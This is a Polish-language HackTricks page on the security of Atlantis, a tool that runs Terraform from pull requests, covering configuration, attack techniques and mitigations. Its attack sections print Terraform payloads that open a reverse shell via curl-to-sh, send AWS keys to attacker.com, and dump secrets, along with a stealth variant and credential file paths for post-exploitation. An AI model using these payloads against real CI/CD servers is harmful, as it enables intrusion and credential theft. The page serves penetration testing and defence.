Polish - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor

Atlantis Security

Support HackTricks

Basic Information

Atlantis zasadniczo pomaga uruchamiać terraform z Pull Requests z twojego serwera git.

Local Lab

  1. Przejdź do strony z wydaniami atlantis w https://github.com/runatlantis/atlantis/releases i pobierz wersję, która ci odpowiada.

  2. Utwórz osobisty token (z dostępem do repozytoriów) swojego użytkownika github.

  3. Wykonaj ./atlantis testdrive, a utworzy to demo repo, którego możesz użyć do rozmowy z atlantis.

  4. Możesz uzyskać dostęp do strony internetowej pod adresem 127.0.0.1:4141.

Atlantis Access

Git Server Credentials

Atlantis obsługuje kilka hostów git, takich jak Github, Gitlab, Bitbucket i Azure DevOps. Jednak aby uzyskać dostęp do repozytoriów na tych platformach i wykonywać działania, musi mieć przyznany pewien dostęp uprzywilejowany (przynajmniej uprawnienia do zapisu). Dokumentacja zachęca do utworzenia użytkownika na tych platformach specjalnie dla Atlantis, ale niektórzy mogą używać osobistych kont.

W każdym przypadku, z perspektywy atakującego, konto Atlantis będzie bardzo interesujące do skompromitowania.

Webhooks

Atlantis opcjonalnie używa sekretów webhook do weryfikacji, że webhooki, które otrzymuje z twojego hosta Git, są legitymne.

Jednym ze sposobów potwierdzenia tego byłoby zezwolenie na przyjmowanie żądań tylko z adresów IP twojego hosta Git, ale łatwiejszym sposobem jest użycie sekretu webhook.

Zauważ, że chyba że używasz prywatnego serwera github lub bitbucket, będziesz musiał wystawić punkty końcowe webhook na Internet.

Atlantis będzie wystawiał webhooki, aby serwer git mógł wysyłać mu informacje. Z perspektywy atakującego interesujące byłoby wiedzieć, czy możesz wysyłać mu wiadomości.

Provider Credentials

Z dokumentacji:

Atlantis uruchamia Terraform, po prostu wykonując polecenia terraform plan i apply na serwerze, na którym Atlantis jest hostowany. Tak jak gdy uruchamiasz Terraform lokalnie, Atlantis potrzebuje poświadczeń dla twojego konkretnego dostawcy.

To od ciebie zależy, jak przekazujesz poświadczenia dla swojego konkretnego dostawcy do Atlantis:

  • Atlantis Helm Chart i AWS Fargate Module mają własne mechanizmy dla poświadczeń dostawcy. Przeczytaj ich dokumentację.

  • Jeśli uruchamiasz Atlantis w chmurze, wiele chmur ma sposoby na przyznanie dostępu do API chmury aplikacjom działającym na nich, np.:

  • AWS EC2 Roles (Szukaj "EC2 Role")

  • GCE Instance Service Accounts

  • Wiele użytkowników ustawia zmienne środowiskowe, np. AWS_ACCESS_KEY, gdzie działa Atlantis.

  • Inni tworzą niezbędne pliki konfiguracyjne, np. ~/.aws/credentials, gdzie działa Atlantis.

  • Użyj HashiCorp Vault Provider, aby uzyskać poświadczenia dostawcy.

Kontener, w którym Atlantis jest uruchamiany, prawdopodobnie zawiera uprzywilejowane poświadczenia dla dostawców (AWS, GCP, Github...), którymi Atlantis zarządza za pomocą Terraform.

Web Page

Domyślnie Atlantis uruchomi stronę internetową na porcie 4141 w localhost. Ta strona pozwala tylko na włączenie/wyłączenie atlantis apply oraz sprawdzenie statusu planu repozytoriów i ich odblokowanie (nie pozwala na modyfikację rzeczy, więc nie jest zbyt użyteczna).

Prawdopodobnie nie znajdziesz jej wystawionej w Internecie, ale wygląda na to, że domyślnie nie są wymagane żadne poświadczenia do jej uzyskania (a jeśli są, to atlantis:atlantis są domyślnymi).

Server Configuration

Konfiguracja dla atlantis server może być określona za pomocą flag wiersza poleceń, zmiennych środowiskowych, pliku konfiguracyjnego lub mieszanki tych trzech.

Wartości są wybierane w tej kolejności:

  1. Flagi

  2. Zmienne środowiskowe

  3. Plik konfiguracyjny

Zauważ, że w konfiguracji możesz znaleźć interesujące wartości, takie jak tokeny i hasła.

Repos Configuration

Niektóre konfiguracje wpływają na to, jak zarządzane są repozytoria. Jednak możliwe jest, że każde repozytorium wymaga różnych ustawień, więc istnieją sposoby na określenie każdego repozytorium. Oto kolejność priorytetów:

  1. Repo /atlantis.yml plik. Ten plik może być użyty do określenia, jak atlantis powinien traktować repozytorium. Jednak domyślnie niektóre klucze nie mogą być tutaj określone bez pewnych flag, które to umożliwiają.

  2. Prawdopodobnie wymagane, aby były dozwolone przez flagi, takie jak allowed_overrides lub allow_custom_workflows.

  3. Konfiguracja po stronie serwera: Możesz ją przekazać za pomocą flagi --repo-config i jest to yaml konfiguracyjny nowych ustawień dla każdego repozytorium (obsługiwane regexy).

  4. Domyślne wartości.

PR Protections

Atlantis pozwala wskazać, czy chcesz, aby PR był zatwierdzony przez kogoś innego (nawet jeśli nie jest to ustawione w ochronie gałęzi) i/lub był możliwy do scalania (ochrony gałęzi spełnione) przed uruchomieniem apply. Z punktu widzenia bezpieczeństwa, zaleca się ustawienie obu opcji.

W przypadku, gdy allowed_overrides jest True, te ustawienia mogą być nadpisywane w każdym projekcie przez plik /atlantis.yml.

Scripts

Konfiguracja repozytorium może określać skrypty do uruchomienia przed (pre workflow hooks) i po (post workflow hooks) wykonaniu workflow.

Nie ma żadnej opcji, aby określić te skrypty w repo /atlantis.yml.

Workflow

W konfiguracji repozytorium (konfiguracja po stronie serwera) możesz określić nowy domyślny workflow lub utworzyć nowe niestandardowe workflow. Możesz również określić, które repozytoria mogą uzyskać dostęp do nowych wygenerowanych. Następnie możesz pozwolić plikowi atlantis.yaml każdego repozytorium na określenie workflow do użycia.

Jeśli flaga konfiguracji po stronie serwera allow_custom_workflows jest ustawiona na True, workflow mogą być określane w pliku atlantis.yaml każdego repozytorium. Potencjalnie może być również potrzebne, aby allowed_overrides określało również workflow, aby nadpisać workflow, który ma być używany. To zasadniczo da RCE w serwerze Atlantis każdemu użytkownikowi, który może uzyskać dostęp do tego repozytorium.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Sprawdzanie polityki Conftest

Atlantis wspiera uruchamianie po stronie serwera conftest polityk na podstawie wyjścia planu. Typowe przypadki użycia tego kroku obejmują:

  • Odrzucenie użycia listy modułów

  • Asercje atrybutów zasobu w momencie tworzenia

  • Wykrywanie niezamierzonych usunięć zasobów

  • Zapobieganie ryzyku bezpieczeństwa (tj. narażanie bezpiecznych portów na publiczny dostęp)

Możesz sprawdzić, jak to skonfigurować w dokumentacji.

Komendy Atlantis

W dokumentacji znajdziesz opcje, które możesz wykorzystać do uruchomienia Atlantis:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Ataki

Jeśli podczas eksploatacji napotkasz ten błąd: Error: Error acquiring the state lock

Możesz to naprawić, uruchamiając:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - Modyfikacja konfiguracji w nowym PR

Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł stworzyć nową gałąź i wygenerować PR. Jeśli możesz wykonać atlantis plan (lub może jest to automatycznie wykonywane) będziesz mógł RCE wewnątrz serwera Atlantis.

Możesz to zrobić, sprawiając, że Atlantis załaduje zewnętrzne źródło danych. Po prostu umieść ładunek, taki jak poniższy, w pliku main.tf:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Cichszy Atak

Możesz przeprowadzić ten atak nawet w cichszy sposób, stosując się do tych sugestii:

  • Zamiast dodawać rev shell bezpośrednio do pliku terraform, możesz załadować zewnętrzny zasób, który zawiera rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Możesz znaleźć kod rev shell w https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • W zasobie zewnętrznym użyj funkcji ref, aby ukryć kod terraform rev shell w gałęzi wewnątrz repo, coś takiego jak: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

  • Zamiast tworzyć PR do master, aby uruchomić Atlantis, stwórz 2 gałęzie (test1 i test2) i stwórz PR z jednej do drugiej. Gdy zakończysz atak, po prostu usuń PR i gałęzie.

Atlantis plan Secrets Dump

Możesz zrzucić sekrety używane przez terraform, uruchamiając atlantis plan (terraform plan), umieszczając coś takiego w pliku terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis apply RCE - Modyfikacja konfiguracji w nowym PR

Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł stworzyć nową gałąź i wygenerować PR. Jeśli możesz wykonać atlantis apply, będziesz mógł uzyskać RCE wewnątrz serwera Atlantis.

Jednak zazwyczaj będziesz musiał obejść pewne zabezpieczenia:

  • Mergeable: Jeśli to zabezpieczenie jest ustawione w Atlantis, możesz uruchomić atlantis apply tylko wtedy, gdy PR jest możliwy do scalania (co oznacza, że zabezpieczenie gałęzi musi zostać ominięte).

  • Sprawdź potencjalne obejścia zabezpieczeń gałęzi

  • Approved: Jeśli to zabezpieczenie jest ustawione w Atlantis, inny użytkownik musi zatwierdzić PR zanim będziesz mógł uruchomić atlantis apply

  • Domyślnie możesz nadużyć tokena Gitbota, aby obejść to zabezpieczenie

Uruchamianie terraform apply na złośliwym pliku Terraform z local-exec. Musisz tylko upewnić się, że jakiś ładunek, taki jak poniższe, kończy się w pliku main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Postępuj zgodnie z zaleceniami z poprzedniej techniki, aby przeprowadzić ten atak w bardziej dyskretny sposób.

Wstrzykiwanie parametrów Terraform

Podczas uruchamiania atlantis plan lub atlantis apply, terraform jest uruchamiany w tle, możesz przekazać polecenia do terraform z atlantis, komentując coś takiego:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Co możesz przekazać, to zmienne env, które mogą być pomocne w obejściu niektórych zabezpieczeń. Sprawdź zmienne env terraform w https://www.terraform.io/cli/config/environment-variables

Niestandardowy Workflow

Uruchamianie złośliwych niestandardowych poleceń budowania określonych w pliku atlantis.yaml. Atlantis używa pliku atlantis.yaml z gałęzi pull request, a nie z master. Ta możliwość została wspomniana w poprzedniej sekcji:

Jeśli flaga server side config allow_custom_workflows jest ustawiona na True, workflow mogą być określone w pliku atlantis.yaml każdego repo. Potencjalnie potrzebne jest również, aby allowed_overrides określało również workflow, aby nadpisać workflow, który ma być użyty.

To zasadniczo da RCE na serwerze Atlantis każdemu użytkownikowi, który ma dostęp do tego repo.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Ominięcie zabezpieczeń planu/aplikacji

Jeśli flaga server side config allowed_overrides ma skonfigurowane apply_requirements, możliwe jest, aby repozytorium zmodyfikowało zabezpieczenia planu/aplikacji, aby je obejść.

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

Jeśli ktoś wysyła atlantis plan/apply komentarze na twoich ważnych pull requestach, spowoduje to uruchomienie terraform, gdy nie chcesz.

Co więcej, jeśli nie masz skonfigurowanej ochrony gałęzi do ponownej oceny każdego PR, gdy nowe zatwierdzenie jest do niego dodawane, ktoś mógłby napisać złośliwe konfiguracje (sprawdź poprzednie scenariusze) w konfiguracji terraform, uruchomić atlantis plan/apply i uzyskać RCE.

To jest ustawienie w ochronach gałęzi Github:

Webhook Secret

Jeśli uda ci się ukraść sekret webhooka używanego lub jeśli żaden sekret webhooka nie jest używany, możesz wywołać webhook Atlantis i wywołać komendy atlantis bezpośrednio.

Bitbucket

Bitbucket Cloud nie obsługuje sekretów webhooka. Może to pozwolić atakującym na fałszowanie żądań z Bitbucket. Upewnij się, że zezwalasz tylko na adresy IP Bitbucket.

  • Oznacza to, że atakujący może wysyłać fałszywe żądania do Atlantis, które wyglądają, jakby pochodziły z Bitbucket.

  • Jeśli określasz --repo-allowlist, mogą fałszować tylko żądania dotyczące tych repozytoriów, więc największe szkody, jakie mogą wyrządzić, to plan/apply na twoich własnych repozytoriach.

  • Aby temu zapobiec, dodaj do listy dozwolonych adresy IP Bitbucket (zobacz adresy IPv4 wychodzące).

Post-Exploitation

Jeśli udało ci się uzyskać dostęp do serwera lub przynajmniej masz LFI, są pewne interesujące rzeczy, które powinieneś spróbować przeczytać:

  • /home/atlantis/.git-credentials Zawiera dane uwierzytelniające do vcs

  • /atlantis-data/atlantis.db Zawiera dane uwierzytelniające do vcs z dodatkowymi informacjami

  • /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Plik stanu terraform

  • Przykład: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate

  • /proc/1/environ Zmienne środowiskowe

  • /proc/[2-20]/cmdline Linia poleceń atlantis server (może zawierać dane wrażliwe)

Mitigations

Don't Use On Public Repos

Ponieważ każdy może komentować publiczne pull requesty, nawet przy wszystkich dostępnych zabezpieczeniach, nadal jest niebezpiecznie uruchamiać Atlantis na publicznych repozytoriach bez odpowiedniej konfiguracji ustawień zabezpieczeń.

Don't Use --allow-fork-prs

Jeśli działasz na publicznym repozytorium (co nie jest zalecane, patrz powyżej), nie powinieneś ustawiać --allow-fork-prs (domyślnie false), ponieważ każdy może otworzyć pull request z ich forka do twojego repozytorium.

--repo-allowlist

Atlantis wymaga, abyś określił listę dozwolonych repozytoriów, z których zaakceptuje webhooki za pomocą flagi --repo-allowlist. Na przykład:

  • Konkretne repozytoria: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests

  • Cała twoja organizacja: --repo-allowlist=github.com/runatlantis/*

  • Każde repozytorium w twojej instalacji GitHub Enterprise: --repo-allowlist=github.yourcompany.com/*

  • Wszystkie repozytoria: --repo-allowlist=*. Przydatne, gdy jesteś w chronionej sieci, ale niebezpieczne bez ustawienia sekretu webhooka.

Ta flaga zapewnia, że twoja instalacja Atlantis nie jest używana z repozytoriami, którymi nie zarządzasz. Zobacz atlantis server --help po więcej szczegółów.

Protect Terraform Planning

Jeśli atakujący przesyłają pull requesty z złośliwym kodem Terraform w twoim modelu zagrożeń, musisz być świadomy, że zatwierdzenia terraform apply nie są wystarczające. Możliwe jest uruchomienie złośliwego kodu w terraform plan za pomocą external data source lub przez określenie złośliwego dostawcy. Ten kod mógłby następnie wykradać twoje dane uwierzytelniające.

Aby temu zapobiec, możesz:

  1. Wbudować dostawców w obraz Atlantis lub hostować i odmówić egress w produkcji.

  2. Wdrożyć protokół rejestru dostawców wewnętrznie i odmówić publicznego egress, w ten sposób kontrolujesz, kto ma dostęp do zapisu w rejestrze.

  3. Zmodyfikować krok plan w swojej konfiguracji repozytoriów po stronie serwera, aby walidować użycie niedozwolonych dostawców lub źródeł danych lub PR-ów od niedozwolonych użytkowników. Możesz również dodać dodatkową walidację w tym momencie, np. wymagając "thumbs-up" na PR przed pozwoleniem na kontynuację plan. Conftest może być tutaj przydatny.

Webhook Secrets

Atlantis powinien być uruchamiany z ustawionymi sekretami webhooka za pomocą zmiennych środowiskowych $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Nawet z ustawioną flagą --repo-allowlist, bez sekretu webhooka, atakujący mogą wysyłać żądania do Atlantis, podszywając się pod repozytorium, które jest na liście dozwolonych. Sekrety webhooka zapewniają, że żądania webhooka faktycznie pochodzą od twojego dostawcy VCS (GitHub lub GitLab).

Jeśli używasz Azure DevOps, zamiast sekretów webhooka dodaj podstawowy login i hasło.

Azure DevOps Basic Authentication

Azure DevOps obsługuje wysyłanie nagłówka podstawowej autoryzacji we wszystkich zdarzeniach webhooka. Wymaga to użycia adresu URL HTTPS dla lokalizacji webhooka.

SSL/HTTPS

Jeśli używasz sekretów webhooka, ale twój ruch jest przez HTTP, to sekrety webhooka mogą zostać skradzione. Włącz SSL/HTTPS, używając flag --ssl-cert-file i --ssl-key-file.

Enable Authentication on Atlantis Web Server

Zdecydowanie zaleca się włączenie autoryzacji w usłudze internetowej. Włącz BasicAuth, używając --web-basic-auth=true i skonfiguruj nazwę użytkownika oraz hasło, używając flag --web-username=yourUsername i --web-password=yourPassword.

Możesz również przekazać je jako zmienne środowiskowe ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername i ATLANTIS_WEB_PASSWORD=yourPassword.

References

Support HackTricks
PreviousTerraform SecurityNextCloudflare Security

Last updated